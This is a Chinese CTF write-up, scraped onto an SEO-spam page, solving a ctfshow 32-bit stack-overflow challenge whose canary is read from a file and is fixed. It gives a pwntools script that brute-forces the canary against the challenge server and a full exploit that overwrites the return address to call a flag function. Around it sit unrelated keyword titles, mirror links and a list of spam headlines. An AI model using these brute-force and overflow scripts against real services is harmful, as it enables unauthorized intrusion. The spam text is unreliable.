当前位置: 首页 > wzjs >正文

网站整体优化做网店的进货网站

网站整体优化,做网店的进货网站,软件服务网站设计费如何做分录,用php做的网站实例再多一眼看一眼就会爆炸 还是 32 位程序 虽然没有检测到 canary 保护 但是在主函数中看到了 canary 函数 跟进看看 从文件中读取 4 个字节的 canary 值,存入 global_canary 我们再来看 ctfshow 函数: canary 的值放到了 s1 nbytes 决定着我们的读入…

再多一眼看一眼就会爆炸

还是 32 位程序 

虽然没有检测到 canary 保护

但是在主函数中看到了 canary 函数

跟进看看

从文件中读取 4 个字节的 canary 值,存入 global_canary

我们再来看 ctfshow 函数:

canary 的值放到了 s1

nbytes 决定着我们的读入长度,并且这个值我们可控,那就可以溢出

最后会比较 s1 和 global_canary 是否一样,不一样就退出程序

说白了就是一个 canary 保护

只不过这个 canary 值是从文件里面读取的

因为这里没有打印栈上内容的操作,我们无法覆盖低字节来泄露 canary

但是由于它是从文件中读取的,所以 canary 实际上是一个固定的值

我们可以爆破 canary 的值,32 位程序的 canary 的大小是 4 个字节

爆破脚本:

# @author:My6n
# @time:20250611
from pwn import *context.log_level = 'error'
canary = b''for i in range(4):for b in range(256):try:io = remote('pwn.challenge.ctf.show', 28259)io.sendlineafter(">", "1000")io.sendafter("$ ", b"a" * 0x20 + canary + p8(b))if b"Where is the flag?" in io.recv(timeout=1):canary += p8(b)print(f"[+] Found byte {i}: {hex(b)}")breakexcept:passfinally:io.close()print(f"[+] Canary = {canary.hex()} ({canary})")

拿到 canary 的值:36D!

程序自带获取 flag 的函数

地址:0x8048696 

 

接下来就可以写 exp 了:

填满 buf 填 canary(s1)

然后填 v5

然后填 ebp

然后就是返回地址了

# @author:My6n
# @time:20250611
from pwn import *
io = remote('pwn.challenge.ctf.show', 28259)
context.log_level = 'debug'
context.arch = 'i386'
canary = b'36D!'
io.sendlineafter(b'How many bytes do you want to write to the buffer?\n>',b'1000')
payload = flat(cyclic(0x20),canary,b'a'*0xc,0,0x08048696)
io.sendlineafter(b'$ ',payload)
io.interactive()

拿到 flag:ctfshow{de9d5faf-21d6-4317-becd-3b214681c7a2}


文章转载自:

http://hGJGJhIM.wrtpk.cn
http://VjyqQMTL.wrtpk.cn
http://bqmGwpRg.wrtpk.cn
http://JSELtWrL.wrtpk.cn
http://pH6SKW19.wrtpk.cn
http://MHKqnR86.wrtpk.cn
http://w02cc2ke.wrtpk.cn
http://U4aNSMUE.wrtpk.cn
http://lesqTwmX.wrtpk.cn
http://48X5eCNh.wrtpk.cn
http://w7snN0dy.wrtpk.cn
http://PwGrT4KY.wrtpk.cn
http://2u31J8Nm.wrtpk.cn
http://s6YEVaTG.wrtpk.cn
http://FHMpB0pu.wrtpk.cn
http://eSMRMHr3.wrtpk.cn
http://kmDDm0Zp.wrtpk.cn
http://iNP0w36H.wrtpk.cn
http://mvGtytQ2.wrtpk.cn
http://c58m3TBW.wrtpk.cn
http://njxksvdN.wrtpk.cn
http://07ZrjXfd.wrtpk.cn
http://blRqLvLO.wrtpk.cn
http://qniMC9iP.wrtpk.cn
http://ueJ29ebT.wrtpk.cn
http://YTaICXFg.wrtpk.cn
http://VPf01N7y.wrtpk.cn
http://e26duRS1.wrtpk.cn
http://G6meGw44.wrtpk.cn
http://P3uUp3ZU.wrtpk.cn
http://www.dtcms.com/wzjs/607434.html

相关文章:

  • 外包做的网站 需要要源代码吗网站地图制作视频教程
  • 网站优化开发深圳网络营销推广排名
  • 免费搭建个人业务网站客户管理系统哪个好用
  • 郑州网站排名分析微网站分销
  • 网站开发人员是什么深圳网站开发工资
  • 佛山网站建设流程东莞阳光网官方网站登录
  • 广东省网站备案注销网站下面的站长统计很逗
  • 网站建设j介绍ppt模板上海百度seo优化
  • 专业网站建设兴田德润电影网站开发教程
  • 仿做网站的网站海东网站建设公司
  • 网站开发与设计结课论文南京安居建设集团网站
  • 推荐网站建设案例戴尔公司网站建设成功的关键
  • 多个wordpress网站合并长沙公司做网站的价格
  • 汕头seo建站山东临沂网站设计公司
  • 网站速成班有哪些专业wordpress 顶部
  • 山东菏泽建设银行网站北京成交型网站建设价格
  • 网站制作成品软件开发工具链
  • 网站设计所用的软件wordpress响应缓慢
  • 申请域名后怎么建设网站电子商务学网页制作吗
  • 关键词分析网站三明网站seo
  • 建行官网官网网站吗网站源代码查看
  • 金数据可以做网站吗简易手机网站开发
  • 南安淘宝网站建设wordpress访问地址修改
  • 番禺建设银行网站什么平台可以接国外订单
  • 南方科技大学网站建设湖南智慧住建云
  • 网站开发怎么让别人看到排名好的徐州网站建设
  • 个人怎么建设图书网站怎么建立公众号微信
  • 上海网站设计与制作制作手机网站什么软件
  • 南昌做微信网站网站后台怎样登陆
  • 佛山市南海区交通建设网站帮别人做网站的公司是外包吗